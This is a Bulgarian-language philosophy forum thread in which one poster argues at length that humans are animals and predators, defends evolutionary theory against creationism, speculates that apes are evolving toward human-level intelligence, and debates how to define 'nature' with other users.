"След уточняването, че не си пасваме, не идва ли по подразбиране, че не пишеш само за мен, не е нужно да го уточняваш и това."
Пример за песимистично възприятие на действителността. "Не пиша само за теб", не значи "не пиша за теб", а значи пиша за другите И ЗА ТЕБ. Точно в този смисъл го казах на базата на отчетени посещения (не вярвам само ти да кликваш по 10 пъти на тема в която има само 1 пост). Всъщност, в такива случаи, трябва да се отчитат и нечовешките, ботови (от "ботове", "паяци" и пр.) посещения.
"И Поздрави за алтруизма и педадогическия «жар», който те води докато пишеш тук. Аз като се замисля... защо ли пиша тук? Някой би ли научил или разбрал нещо от това, което пиша? Едва ли. Странно изглежда като нямаш цел........."
Права си, но целите са лесна работа - просто се правят. Примерно ей-сега аз ще си поставя за цел да изпия една минерална вода, макар и да не съм жаден, и вярно ще я изпия. :) /От което не следва, че е правилно човек да си поставя цели ей-така, заради самото целеполагане. Целите трябва да са съобразени с благото на човека (на себе си и на останалите); целите трябва да са полезни, а не вредни./
"Ами не само аз, и ти без да си ме виждал сигурно ще направиш разлика между мен и животно."
Какво е ЖИВОТНО? Те /животните/ са много. Примерно, както сме групирани, ние сме много по-близки до човекоподобните маймуни и си приличаме с тях, отколкото самите маймуни до пеперудите, да речем. А от древни времена е останало на ниво битово мислене, че всички животни са едно и също, а хората са нещо отделно. Хич не е така! То хората са установили кое от кое произлиза и на кое е роднина. Ако не беше блокиран Youtube в Китай последните седмици, заради Тибетски фалшив материал от кликата на Далай Лама, щях да ти дам много интересни линкове, ама лош късмет. /Едва напоследък и в останалите части по света започнаха да разбират опасността от фейкнюз (фалшивите новини; лъженовините), които се представят целенасочено за истина (за истински новини)./
"По-лесно им е и са по happy"
Това е още един предразсъдък, който битува и сред много умни хора. Представи си да си зайче или пиленце, което не е живяло и месеци, но го дават на питон да го яде. Ако имаш силни нерви можеш и сама да си намериш из Youtube разни клипчета за това как се хранят домашните питони и други змийчета със зайчета, пиленца,... а един даже беше спестил пари, та беше пуснал и катеричка на питона си (изяде я като пиле!)... какво друго? А, да: мишки, плъхове, кокошка... Или си представи нещо по-"романтично" - млада жирафка си, "пасеш" си по високите клони и изведнъж ти идат няколко лъвици и ти пригризват високото гърло (има го и този клип, можеш да си го намериш). Да не говорим, че на животните няма кой да им лекува обикновени болести и "мрат като мухи" /когато не са под обгрижването на хората/...
Да си човек си е по-лесно, отколкото да си каквото и да е друго животно, нечовешко.
"- тва няма нужда да го доказвам, а и няма как, щото говорещите животни, вече не са животни нали?"
Са. Папагалите, примерно. Имало едни Черноморски папагали, дето още помнели думи (предават си ги по наследство) от езика на хазарите (Хазарският хаганат отдавна е изчезнал) и така може да се научат някои отдавна изчезнали думи на мъртвия хазарски език (булгарска група на тюркските езици). /Източник: http://www.litclub.bg/library/izk/pavich.htm /
"ИСКА ми се, ама не съм! Това е като.... абе все едно да ми кажеш- «скъпа, колкото и да не ти се иска си най-красивата жена на света»- да ама НЕ СЪМ! Вервай ми, да, красива съм, НО не съм най-красивата."
Красивото е относително. Аз последните години за най-красива намирам онази, на която не могат да й напишат правилно името - Джан Дзъи. Обаче за някой скинар тя може да е просто "жълта маймуна"... /Не само за белите скинари, но за много видове бели расисти и прочие крайнодейсни, шовинисти и какви ли не, само белите са красиви, а жълтите и черните са "маймуни", "подчовеци" и прочие обидни, неверни, човеконенавистнически неща. Разбира се, такива човеконенавистнически идеи, течения, организации има и сред представители на другите големи раси - черната и жълтата. Отвратителни са и човечеството трябва да им се противопоставя до край!/ Колкото до животинското у тебе - всичко си имаш като животните - раждаш, кърмиш (бозайник си), имаш кучешки зъби, ядеш месо (хищник си), имаш емоции, скелетът ти е подобен на повечето от гръбначните животни... нямаш си на представа колко е малка разликата. И тя не е разлика като между животно и растение, а като между две други животни. Примерно човек се различава от кит, колкото маймуна от делфин, да речем.
"Добре де, бозайник също съм навита. В смисъл да не останеш с впечатление, че искам да съм животно, защото ще съм хищник- ми, не, каквото, такова- мравка-ок!"
Малко уточнение - бозайниците си имат както хищници, така и нехищници. Мравка... зависи от мравката. Те са разпределени на КАСТИ, както при индийците е било /и си остава с голямо влияние и до ден-днешен/. Водят се (мравките) ОБЩЕСТВЕНИ НАСЕКОМИ.
"Еми за кво им е било да се развиват тогава? И аз това се питам. «Преоблякъл се Илия, погледнал се, все в тия!» - нали? малко български фолклор."
Ама то НИКОЙ НЕ ТЕ ПИТА дали се развиваш или не :) Удря те радиацията и се развиваш. Това, дето Енгелс е писал, че и посредством труда се развиват - също е фактор, ама така или иначе... става си ПРИРОДНО. /Радиацията и трудът са само 2 от факторите. Има и други - например промяната на околната среда и начина на живот, хранене и пр./ Вече в социалното общество има повече избор, ама зависи от държавата, времето,... ако всичко ти е скъпо и трябва да спиш на улицата и да ядеш от отпадъците страхотно развитие ще имаш, само че ОБРАТНО ТАКОВА, вика му се РЕГРЕС.
"Ето нещо, което не харесвам като отговаряш- завъртанията и отклоненията..... Не наблягаме на кое е по-плашещо, а на «лесните» и бързи процеси за обучение в чупене на орех-ки, и как в това научаване, леко намекнах, за да видя дали според теб и това е едно и също, да научиш една маймуна да УБИВА за предпочитане себеподобно, че ние хората добре се справяме с тези уроци, научили сме ги, внимавали сме, така да се каже."
Въобще не увъртам, а пояснявам. А както е казал Динев, а и не само той - маймуните са способни на чудовищни престъпления от рода на геноцид, детеубийство и пр. Даже някои маймуни се хранят с ДРУГИ, ПО-МАЛКИ МАЙМУНИ. За черното шимпанзе, примерно, казват, че то пък било "по-етично", защото като хване малка маймуна и само си играе с нея, после я пуска на свобода. А сега моля за пълно внимание - установява се, че шимпанзетата еволюират доста скоростно и в настоящия момент се намират на нивото на нещо като "Първобитно-общинен строй" - изобретяват копия, чукчета и дори КОМПЛЕКТИ ОТ ИНСТРУМЕНТИ. Отделно някои живеят и в пещери. /Някои стигат и по-далеч в предположенията - че някои групи такива животни дори вече имали/проявявали религиозни вярвания./ Може да отворя и отделна тема по въпроса.
"А пък за «контрола» съвсем се отнесе...... остави сега контрола, говорим си «за животните с любов»(известно българско предаване водено от Росито Кирилова : )- дали да не й се обадя и да те «изколадя»(а сега, обясни ми произхода на тази дума, ако обичаш) за това което мислиш да причиниш на сладкото кученце, което мислех да ти пратя....само като си помисля, колко ли гладни си нахранил от една страна, но от друга не мога да спра да си мисля за Белия бим Черното ухо.....еми жесток си, само заради неква тения, пий повечко саке за дезинфекция и всичко ще е наред."
Сакето ми е силно, аз пия само бири, които са 3-4 пъти по-слаби от българските такива. /Напоследък почти нищо не пия. Много рядко пия бири, заради бъбречни камъни, които спряха да ми се появяват, откакто почнах да се лекуваам с бирите. Също и по малко вино, от време на време. Няма много полза от пиене, а и е добре да се пестят тези пари за нещо друго./ За думата - не сега, че не съм в настроение за лингвистични анализи. За животните - ами то вегетарианците казват, че всяко животно е много мило, а пък мюсюлманите и евреите, ако са силно-вярващи, не ядат прасенца... Някакви казали, че "И РАСТЕНИЯТА ИМАТ ПРАВА", та да спрем и растения да ядем и какво остава? Яйца и млечни продукти? Е, да, ама онези от "Правата на животните" казват, че това било експлоатиране и поробване на кокошки, патки, крави, биволици... и, като цяло - на въздух и водица оставаме... (чудя се как още някой не се е ссетил да защити и правата на водата и на въздуха, та... направо да вземем да седнем и да умрем, че да не пречим на останлите!...)
"Казваш ми значи, че социалното развитие се разграничава количествено- ей това ми го обясни, ако обичаш. Какво е количествено социално развитие?(при животните респективно и при хората)"
Ами какво - примерно и те си имат социална йерархия, но е по-проста. Тоест пак е йерархия, но няма толкова усложнявания, като качество е различна, иначе си е йерархия.
"не мисля така. Но пък контрааргумента ти е по-слаб и от слабото на моя аргумент."
Много е силен даже. Това, че някой е глупав, не значи, че не принадлежи към нещо си.
"съзнателни човешки действия, които няма как да се възпроизведат и вменят на животно. Това, че в природата си има нещо животинско, било и хищническо, е добре, но това не е частта, която ни разграничава."
Всяко животно си има нещо, което го разграничава от останалите. На човека какво му е различното? Само по-развития мозък.
"Та, странно темата се превърна в някакъв дебат...... за Дарвин, а аз към Чарлз имам..... как да кажа.... резервирани чувства."
Ами дай да се излагаме тогава с приказки от "1001 нощ" и да си говорим за Креационизъм? Аз пък ще ти кажа, че Дарвин и Дарвинизмът, колкото и да имат пропуски, впоследствие ЕВОЛЮЦИОННАТА ТЕОРИЯ (която малко хора знаят, но не е само Дарвинизъм, а обема в себе си и неща като ГЕНЕТИКА) доразвива схващанията му.
"В такъв случай щом жените са кучки, мисля, че е редно, логично и възпитано да признаем, че мъжете пък са помияри, пак следвайки горните ти характеристики."
Ставаше дума, че човеко-жените и куче-жените не се различават като темпераменти - имат си ги 4 основни. А мъже, които се държат като помияри - бол! Всъщност хората доста си приличат и с тях по поведение, по кучешки зъби и по какво ли не. Примерно лидерството в групата...
"Или изведохме интересния извод, че хищничеството също няма пол. О, да!"
Иииии, па добро утро! Няма ми! Даже при някои хищници женските са по-кръвожадни - богомолки, лъвове... Ти знаеш ли лъвовете колко са мързеливи? И само лъвиците основно се грижат за лова. (При тигрите е друго!)
"1. всички хора са животни?да? ако да, защо не мога да си сменя работата и живота с Чибурашка, а трябва да се измъчвам като общувам с некви говорещи себеподобни? Ако не, добре, устройва ме, само някои да са по нееволюирали."
Може. Индийските отшелници, които са се хранели само с корени по гори и планини са дали великолепен пример за асоциализиране. Друг е въпросът колко ще изтраеш. То само да те навали дъждът и снегът, и си дотърчала на топло...
"всички хора са хищници?(което е и темата ти между другото), ако да, както уточних по-горе, тогава няма да има нито хора нито животни. Явно не всички са от хищниците."
Те са си хищници, а това, че някои не се държат като такива е отделен въпрос. Примерно има вегетарианци, вярващи и какви ли не, които поведенчески не са хищници. Ама то и един тигър можеш да обучиш да е "по-социално настроен" и да не яде кучета, примерно (гледал съм такива, дето са ги отглеждали заедно и не се ядат едно-друго. Имаше и едно много мило моментче - едни кучета и лъвове май бяха ги пуснаха в една "кошара", където имаше и други две отгледани заедно - агънце и глиганче. И хищниците - кучета и лъвове - общо взето възпитани нали, ама по едно време им се прииска да похапнат малко агнето и добре, че беше глиганчето - постоянно си пазеше агнето, колкото и да му беше трудно, та не го изядоха, а и то там си имаше отговорен персонал. Не като едни американски войници, дето си правят шоу и дават коза да я яде питон или пускат 2 магарета на изгладнели лъвове и се радват като древни римляни...)
"Или, от къде ще го вземем това “зайче”, ако не сме го хранили със сурово месо и не е хищно зайче, за да го дадем на батковците и каки хищници, които да му пуснат малко кръв зрелищно?"
Онзи заек-месояд и животни ли е можел да убива?! /Сещам се за един клип, където заек подгони змия и тя бягаше от него./
"Не разбрах аналогията. Сори, обясни. Какво общо има текст-а от Шекспир и написването му, с моя пример от филма, свързан с «оцеляването»?"
Че се впечатляваш от неща, които не са толкова впечатляващи, относитело речено.
"Еми, какво да направя, при мен твърде човешкото надделява. Много жал ми беше за Фридрих, и ей такова мислено си обещах тая воля да я употребявам само «власт» като ми се изпречи, иначе науката.... не не, мълча си и не споря, слушкам си като добро момиче и всичко ми е ок. Сега, че няма да ми е прякора «философката» ще го преживея и «дъщерята на коменданта» си ме кефи ... : )"
Изпадаш в мистични настроения, значи... Аз като комунист ги усещам тези неща. Карай... Няма да те вземам за идеен враг. :)
"Добре де, няма да го чакам вече Дядо Коледа, щом толкова ревнуваш. Но аз, например, имам доста случили ми се неща, които НЕ МОГА да си ги обясня. И когато не мога да си ги обясня, това е много странно, ги приемам по лесно, по-лесно вярвам в това което ми се е случило, отколкото в нещо, което съм се съмнявала, обяснила съм си го, успокоила съм се, казала съм си, «ясно, сега вече знам, че е така, никой не може да ме убеди в нещо друго!!!» Така че неемпиричнодоказуемите НО факти, са интересни...... и то като разбереш и осъзнаеш, че ти се случват, освен когато най-малко очакваш, но точно когато е НУЖНО и НЕОБХОДИМО!!!!!"
ОКАМ, ОКАААМ!!! ОКАМОВИЯ БРЪСНАЧ! Който не го ползва - не го признавам за научен философ. В случая ти сама си казваш, че не подхождаш философски-научно.
"да, ама, един приятел загрижено посъветва тогавашното ми гадже- «водката не й действа добре, не й давай да пие водка»- та оттогава много рядко пия водка."
Аз не знам на някой толкова силен концентрат пък да действа добре... Отварям нова тема за ЩЕ СТАНАТ ЛИ ШИМПАНЗЕТАТА "ХОРА", заповядай.
184. Човекоподобните се очовечават еволюционно... (темата):
Темата е антропологична, но има връзка с епистемологията. Ако мястото й не е тук, според модератора, моля да я премести в по-адекватен според него "отдел". И сега четете, много е интересно, дори и за креационистите (ако има тука такива), идеалистите, и всички наоколо. ТЕЗА - ЧОВЕКОПОДОБНИТЕ МАЙМУНИ ЕВОЛЮИРАТ ПО-БЪРЗО (като скорост) ОТ ЧОВЕКА И СЛЕД ОПРЕДЕЛЕНО ВРЕМЕ ЩЕ СЕ ИЗРАВНЯТ С НЕГО, ДОРИ МОЖЕ ДА ГО НАДМИНАТ. /За скоростта не съм много сигурен дали е по-бърза или не (като не само количествено, но и качествено изразена). А и има опасност самите човекоподобни маймуни да намалеят и дори изчезнат, според някои. Те не са толкова многобройни./
ФАКТОЛОГИЯ - 1. Ендрю Уайтън (http://www.st-andrews.ac.uk/psychology/people/lect/aw2.shtml) - професор по психология, по време на експедиция заснема със скрита камера шимпанзе, което в дивата природа използва комплект от самоделни инструменти. Знае се, че шимпанзетата отдавна ползват камъни за трошене на орехи, клонки и листа за улавяне на мравки, и пр., но за пръв път се наблюдава този феномен - използване на комплект от инструменти. Описание:
1.1. Шимпанзето взема голяма пръчка и с нея пробива отвор в термитника.
1.2. С тънка пръчица/сламка започва да извлича и яде термитите.
1.3. Оставя дебелата пръчка до термитника, след което други шимпанзета си ги ползват за пробиване на нови дупки.
2. Томас Броер - еколог заснема как горила мери дълбочината на водата.
2.1. Идва до непознат водоем. Влиза във водата до кръста, но после се връща на брега.
2.2. Взема от брега дълъг прът.
2.3. Влиза пак и почва да мери нивото на водата пред себе си и така изминава внимателно 10 метра. След това се връща при малкото си.
3. От Университета в Мичиган, Джан Дзянджъ (Джан Дзиенджъ) казва, че след като с екипа си проанализирали много ДНК се оказва, че разделянето на шимпанзето и човека става ПРЕДИ 6 000 000 години. (А макакът се отделя от човеко-шимпанзетата преди 25 000 000 години.)
3.1. Оттогава насам еволюцията на генома при шимпанзето се засилва и в момента тече с по-висока скорост.
4. Живот в пещери.
4.1. При неблагоприятни климатични условия, шимпанзетата се крият в пещери.
4.2. Слаб аргумент, предвид, че доста други животни могат да го сторят, не е само достойнство на първобитния човек, но, все пак, американски професор твърди, че е аналог на прачовешкото поведение.
5. Шимпанзетата редовно убиват и ядат по-недоразвити маймуни. Едно племе шимпанзета са се научили да правят копия (прътове, които заострят със зъби), след което ходят на лов за полумаймуни (галаго).
Който не е виждал галаго: http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Galago_senegalensis.jpg (http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Galago_senegalensis.jpg)
--------
В този ред на мисли, възможно е, ако светът съществува още милиони години и ако еволюцията на хората е сравнително-бавна, маймуните да ги догонят. Разбира се, това ще зависи и от умишлената конкуренция, която биха им сторвали хората. Така или иначе мисля, че човешката, маймунската или извънземната епистемология би достигала до почти едно и също развитие, подобно на логика, математика... просто защото това са отражения на обективни връзки, свойства, отношения. Като събереш 2 и 2 си дава все 4, независимо дали си го събрал ти, маймуната или някой неземен. Така ли е? /"Неземен" и "извънземни" само хипотетично, защото досега липсват данни за тяхното съществуване./
185. Mоля, Веско, за мен, лично, е удоволствие!
"ако човекът е част от природата, то в крайна сметка и т.нар. "втори природи" (производните от човека) също са природа. Така нямаме разликата между природа и не-природа."
Напрежението се снема с уточнението, че ПРОИЗВОДНОТО от дейността на човека е ИЗКУСТВЕНО, т.е. не-ставащо-от-само-себе-си. Напоследък, обаче, както писах и в друга тема, трябва да се има предвид, че някои висши маймуни също създават оръдия на труда (примерно - копия, с които убиват полумаймуни за храна), така че, може в един такъв аспект да се мисли, че всичко е природно, делящо се на Природа и Втора природа (човешка или маймунска; човекоподобно-маймунска). Всъщност като изходим от едно по-широко гледище (а те моите гледища са винаги точни и отнесени към нещо разбираемо) - не само хората и роднините им правят ВТОРИ ПРИРОДИ, но и доста по-примитивни същества, с малко мозък като... птиците. Ами те правят ГНЕЗДА. (Отделно има някои птици, които ползват камъни, за да чупят с тях яйца на други и да ги ядат, но това е отделна тема.) Ето защо няма принципна разлика между едно птиче гнездо, едно маймунско копие и един човешки балтон, примерно. Всички те са направени от някой/нещо друго и са произведени от материал, който си го има в природата. Така че аз правя заключение, че ЧИСТО НЕПРИРОДНО НЕ СЪЩЕСТВУВА. "Чистата Неприрода" би било нещо като ТОПЛОРОД - мислимо, но несъществуващо, т.е. СИМУЛАКРУМ.
-----
М-да, хареса ми определението, че ПОЛУЧАВА и ПРАВИ са с различна смислова натовареност. В българския фолкор на получаващите им викат ГОТОВАНЕЦ. :) Т.е. получава наготово. В някои социологии му се казва и ТУНЕЯДЕЦ или СОЦИАЛЕН ПАРАЗИТ. -----
"Традиционно духовното, разумното се противопоставя на природното. Едва ли не природното се мисли като това, от което се отграничава разумното."
Това е и хубава, и лоша традиция. Важното е да не се абсолютизира.
"Така излиза че, не всичко съществуващо, което не е направено от човека е непременно природа. Т.е. има съществуващи неща, които не са направени от човека, но не са и природни. Доколкото те не са в отношение с човешкото (разумното, духа, субектното)."
Тогава излиза, че ПРИРОДНОТО Е АНТРОПОГЕННО И СУБЕКТИВНО. А то това може да се каже за всяко едно понятие. А това не е вярно. Сега ще докажа, че има много природни неща, които НЕ СА БИЛИ В ОТНОШЕНИЕ С ЧОВЕШКОТО, но са били, са и ще си останат природни, докато ги има. От тези много посочвам:
а) Трите нови бактерии, открити от Индия в стратосферата.
б) Новия вид бръмбар, открит в центъра на Лондон.
в) Новия вид орхидея, открита в Лаос.
г) Новия вид огромен плъх в Индонезия.
д) Новия вид гигантска свиня в Бразилия...
Едва ли има човек да се усъмни, че всичко това, независимо дали е имало или не досег с човеци си е било и си остава природно.
"Т.е. един от критериите за природност би бил не само този дали можем да създадем изкуствено тази реалност, но дали можем и да и "навредим", "унищожим", изобщо казано да й направим нещо, или тя на нас да ни прави нещо."
Че то доскоро и вируси не можеха да се създават. Официално ПЪРВИЯТ ИЗКУСТВЕНО СЪЗДАДЕН ВИРУС, КОЙТО МОЖЕ ДА СИ СЪЩЕСТВУВА, ДА СИ СЕ РАЗМНОЖАВА И, КАТО ЦЯЛО, ДА СИ МУ Е ГОТ, е този на ПОЛИОМИЕЛИТА. (https://en.wikipedia.org/wiki/Synthetic_virology (https://en.wikipedia.org/wiki/Synthetic_virology) - по темата.) Извод - тезата за природата, която ни дава Веско е: а) Антропоцентрична б) Антропогенна, т.е. субективна.
186. Шаманът казал, че неспециалист не бива да се опитва да се бърка на специалистите, защото се излагал. Да, ама от ИСТОРИЯТА НА НАУКАТА знаем, че доста открития са правени именно от дилетанти, любители. Просто неспециалистът (ако е ерудиран добре) има по-различна гледна точка. И барабар с някои смешни грешки, може да даде и великолепни прозрения на база на по-различен опит, по-различна гледна точка. Това си е ЕВРИСТИЧЕН проблем. Ако човек хич го няма у гъбите (както мен по математика /в последните години се пообразовах малко в математиките, та вече имам знания по някои математични аспекти, които средния човек няма; просто отбелязвам/), много ясно, че няма да се опитва да се занимава с неща, дето хептен не му говорорят нищо. Обаче, ако поназнайва това-онова, може да се опитва. Това е полезно и СТАТИСТИЧЕСКИ има смисъл. Шаманът, ако помисли по въпроса няма как да не достигне до подобни или еднакви изводи. По подтемата ти - Имало нещо, което било подтекст, но аз не съм го разбрал и пр. Ваня, мила, това му се вика КРИПТОЛОГИЯ. :) А аз не съм с достатъчното време и желание, за да го опитвам (криптологизирането).
187. Относно примери за дилетантите в науката: Цяла книга по темата - от нея съм се учил. http://n-t.ru/ri/sh/pn05.htm (http://n-t.ru/ri/sh/pn05.htm).
(Следва...)
-
188. Хераклит се самоцитира и си говори сам. Както се казваше във филма за Злостър:
"- Охо, ти вече сам ли си приказваш?
-Да! Приятно е да се разговаря с интелигентен човек..." :) /По-точния цитат, който намерих онлайн: "Melchett: Started talking to yourself, Blackadder?
Blackadder: Yes, it's the only way I can be sure of intelligent conversation around here!" - "Мелчет: - Започна да си говориш сам, Злостър?
Злостър (Черното влечуго): - Да, това е единственият начин по който мога да съм сигурен, че имам интелигентен разговор тук!"/
За усмихнатите в телевизионните реклами - то щото им плащат. ;) Имаше един доктор, който ревнуваше жена си, че харесва един актьор (Ален Делон) и викаше: "КАКВО МУ Е ХУБАВОТО? КАКВО КАТО ПОГЛЕДНАЛ "ТАКА"?!?! ТО И НА МЕН ДА МИ ПЛАТЯТ ТОЛКОВА ПАРИ И АЗ ЩЕ ГЛЕДАМ НЕ ТАКА, АМИ И ИНАЧЕ!" Идеите са си приложими. Има си МИСЛОВНИ ЕКСПЕРИМЕНТИ. Т.е. без идеи не става, но и само с идеи не става. Критерият за природност не е добър. Според него излиза, че ако няма хора, няма да има и природа. Поздрави.
189. Това и преди е споменавано, но като съм започнал последователно да се препоствам, нека го има и тук.
Парадоксът на глупавия професор.
Да вземем например професор по математика, който е виден специалист в областта си. Поставяме го на изпит на първокурсници по медицина. Той почти задължително се проваля на всички медицински изпити. Същото се случва и с професор по медицина на изпити по математика.
Даден виден специалист в определена област, може да бъде пълен профан в друга, т.е. да се прояви като глупав.
190. То не е точно като матрьошката, а като онзи кръг, малкият, очертан на празен лист. "Кръг = знание", "онова извън него" - "незнание" /Аналогия на знанието и незнанието - колкото по-голямо е познанието, толкова повече допирателни/въпроси има с незнанието/. Колкото е по-голям кръгът - толкова повече неясноти се задавали. Древногръцка максима.
За матрьошките има един виц, който съм чувал от Велко Велин:
Един майстор направил матрьошка, тя казала, че иска дете. Направил по-малка, тя също казала, че иска дете. И така стигнал до много малка. След като видял, че "не може повече да онтологизира на микрониво" (както е казал Андонов!), той нарисувал просто едни мустачки на малката матрьошка:
- И аз искам да си имам детенце! - казала малката.
- А не виждаш ли, че имаш мустаци?! Ти си момченце, а момченцата не раждат деца! - отвърнал й майсторът.
191. По какво се познава, че сте затънали в мракобеси и ретроградност:
1. Смяташ, че само с мислене може ЗАДЪЛЖИТЕЛНО да се постигне повече знание, отколкото с четене, експериментиране и трупане на всякакъв опит.
2. Въобще не ти прави впечатление, че в изказване на колега са допуснати капитални несъответсвия с данните на съвременните науки.
3. Лекция, в която се говори за правилното желание на Платон относно унищожаването трудовете на атомистите е напълно по твой вкус.
4. Оформяш си мнение по даден въпрос само от няколко лекции на Фихте.
5. Кефиш се на сина на Фихте (теолог и философ).
6. Хегел и Ницше са твоят избор за правота по въпросите на нацията и бъдещето на човечеството.
7. Четенето само на философски трудове е основното ти трупане на знания.
8. Четенето на Попър за теб е начин да надникнеш в науката.
9. Игнорираш всякакви новини от областта на зоологията, физиката, химията и пр.
10. Харесват ти "проповедите" на вярващи философи на религията, които се отнасят със симпатия към вярващи студенти и се мръщят на тези, които се съмняват в Него!
11. Факти като наличие на интелект и съзнание у животните те карат да нервничиш.
12. Намираш кварталния проповедник на сектата за човек напълно полезен, изпълнен със знания и истински-дружелюбен.
13. Последните геологически и етологически изследвания ти изглеждат заплашителни.
14. Повече не ти трябват новини извън сферата на философията и религията.
15. Диалектическите материалисти ти се струват неудобни.
16. Вярваш, че всяка безсмислица, изпълнена с неологизми, всъщност съдържа ценни философски достижения, които са полезни за твоето развитие като философ и личност.
17. Мозъкът ти вече не приема никакви съвременни идеи.
18. Питаш приятелката си не се ли отегчава от липсата на онтичност в квартала.
Ако има интерес може и да продължим.
192. Абе бива... Аз да не казвам на кой пък друг курс (спецкурс) един иначе уважаван от мене преподавател си запълваше времето като с помощта на колежката си питаше ВСЕКИ ЕДИН ПООТДЕЛНО: "Разкажи как си, как се чувстваш и как ти мина седмицата?" Така, като се изредят 20 човека в групата, и о-пааа, 30% от времето литнало... :P. (Примерно. Не съм засичал процентността време.)
На тоя фон тема като "МАГИЯ И ПРИРОДА" звучи съвсем философски и смислено. Предпочитам да науча нещо за магиите, отколкото да слушам колежки и колеги как се чувствали в момента (мигар има голямо познавателно значение дали някой в момента му е тъжно, го е страх или му се ходи до тоалетната!) и как миналата седмица някой си получил бъбречна криза, та го водили в болницата!... /В смисъл не, че има доказани неща като "магия", но може да се изучават от философска, културологична и пр. гледна точка нещата, които се мислят като магии. А това за бъбречната криза си е факт. Една колежка разказваше как пътували донякъде в кола с други, включително с нейния шеф (едновременно тя учеше и работеше), та получил той бъбречна криза, трябвало да викат линейка и се уплашили, та взели да "философстват" за крехкостта и преходността на живота... С такива неща се губеше времето, вместо да се запълни с нещо по-полезно и по темата на спецкурса./
193. " "Природното" се мисли като субектно, доколкото се мисли като "получаващо" се като другост (дали обаче само и еднозначно, както е при Хегел, като инобитие?) на разумното, в само-създаването и само-запазването на последното като субект?""
Такъв един подход на мислене много наподобява Герджиков (с който ти имаше спорове, макар и да му признаваше правото и ценността на отстояващ някаква си собствена система). Тоест при едно последователно провеждане на такова мислене излиза, че природното е РЕЛАЦИОННО СВОЙСТВО и/или КОНСТРУКТ на самия човек. Такова едно антропогенно, антропоцентрично мислене е логически предтеча на субективен идеализъм, плътно до солипсизъм. Показва не само стереотипно мислене, но и неспособност/нежелание да се надскочи Егото на човечеството (в случая на човека-философ) и да се мислят нещата по-обективистки, "по-скромно" (в смисъл, че Човекът не е единственият /възможен/ "Венец на природата"), и пр. По времето на тиранозавър Рекс, ще се окаже, че не е имало природа, не е имало природности, нищо... Няма разум = няма природа. ;D Ами че това си е почти Бъркли!... Утре някой ще каже, че като няма човек, няма и Битие. Освен това - разумното го тълкуваш и разбираш едностранчиво, не в неговата пълнота. Какво имам предвид? САМОСЪЗДАВАНЕ и САМОЗАПАЗВАНЕ. Вярно, има диалкетика в това и без разбирането на САМОСЪЗДАВАНЕТО и САМОЗАПАЗВАНЕТО (САМОДВИЖЕНИЕТО, най-вече) ще изпаднем в креационизми, ОБАЧЕ (!), разумното се и СЪЗДАВА (исторически, във филогенетичен план, както и в онтогенетичен, индивидуален) ОТ ПРИРОДАТА (Според съвременните представи за еволюция, ако в определен момент не е имало по-различна доза радиация, ДНК-то не е щяло да се промени, ТАКА ЧЕ да се получат хора.), КАКТО И ОТ ОБЩЕСТВОТО, което КУЛТИВИРА И ЗАПАЗВА отделностите (индивидуалните субекти) на това разумно. Ако си спомняш Георги Димитров (социологът) ни учеше, че обществото не е монолит, а си е сбор от индивиди и беше прав човекът.
"А битието на субекта тук е субстантив от "мислене" - "мислещото"? Тоест "мисленето", и като "мислене", е това, което и в което разумното прави своята себестност?"
Аз пък предлагам всяко нещо да си има себестност. А разликата да е в това дали се осъзнава тя или не. Тоест в САМОСЪЗНАНИЕТО. Липсата на самосъзнание не води автоматично до несъществуване на себестност. На много равнища всяко нещо съществува като СЕБЕ СИ, а не като ДРУГО.
"Опасността, която виждам в твоето разбиране за "природа", ако съм на прав път, е същата, която виждам и при Хегел: така или иначе природата е инобитие, е другост, е външност, е "отчуждение" на мислещото (духа, разумното и т.н.)."
Тука отново и неотклонно се натъкваме на ЗАБЛУДА и то много коварна, капитална заблуда. Някакъв си СЛУЧАЕН продукт на природата, който на 99% е идентичен със шимпанзе, наречен Homo Sapiens, си САМОВНУШАВА (независимо дали е в лицето на Хегел или на някой овчар от Анадола), че видите ли той не бил природен, той е "голямата работа" и/или е Творение на Бога (Абсолютния дух, Макароненто чудовище и пр.), следователно (без значение, че е толкова "крехка тръстика", както е казал Паскал) всичко останало е в ОПОЗИЦИЯ, е дори НИСШЕ... А истината е съвсем другаде, отдавна прозряна от хора и ПРЕДИ ДАРВИН, че природата си е съвкупността от всичко, вкл. и мислещия човек (а някои негови представители, наистина не могат да мислят качествено) си е природа, също. Тоест ПРИРОДАТА (примерно един КОН) е толкова "инобитие" за тебе, колкото е и всеки един друг ЧОВЕК или КРИСТАЛ. Иначе Хегел си има едно хубаво инсайтче, където казва, че в човека природата се самоосъзнава (цитирам по смисъл). Виж това е много вярно и точно. И отговаря на Лениновото разбиране за човешкия мозък като форма на материята, способна на най-висше отражение на нещата.
"По-нататък, като как само в мисленето и като как само като субект, "себесността" може да бъде автентична или пък да не бъде такава?"
Харесва ми позоваването на Андонов с "като как", аз бих добавил също Андоновото "и откъде-накъде?" Просто такова едно свръх-концентриране върху човешкото ми прилича на някакво Ренесонсово подхождане, което не отговаря на нивото на съвременните достижения на науката, и техниката. И носи много, ама много имплицитен религиозен оттенък.
"Защото не е ли правилно ако се каже, че всеки разумен субект, в един или друг конкретен начин или случай на субектиране, именно като такъв (като субект), именно по своята субектност, е равен на всеки друг, осъществяващ "субектиране"."
Абсолютно. Като даже продължим знака на равенството под формата на "равно или по-голямо" спрямо останалите животни, както и потенциалните извънземни форми на живот и/или разум. Предлагам винаги да си мислите, че, може би, не сме сами във Вселената и да полагате философстването си с оглед на това, че може би сега, а, ако не сега, то може би НЯКОЙ ДЕН:
- Извънземни същества ще четат мненията ви.
- Еволюирали земни животни ще четат мненията ви. (Казват, че с този темп на развитие висшите маймуни след време ще могат да имат нашия интелект. Отделно, който вярва в предсказания - Нострадамус, Ванга и пр. са видели, че някой ден "животните проговарят".) /Това, рабира се, само чисто-теоретично. Не е задължително нито да има извънземни, нито някой ден човекоподобните маймуни ще се развият дотам./ Така или иначе, даже и да няма извънземни, нито да има реална възможност животните да поумнеят, е хубаво човек да си дава сметка, че не е нищо толкова особено и философстването му да се придържа именно в рамките на "ние сме ЧАСТ ОТ природата".
"Можем ли само през "онтологични" характеристики на "субектното", именно като субект, да "получим" своя автентична "себестност""
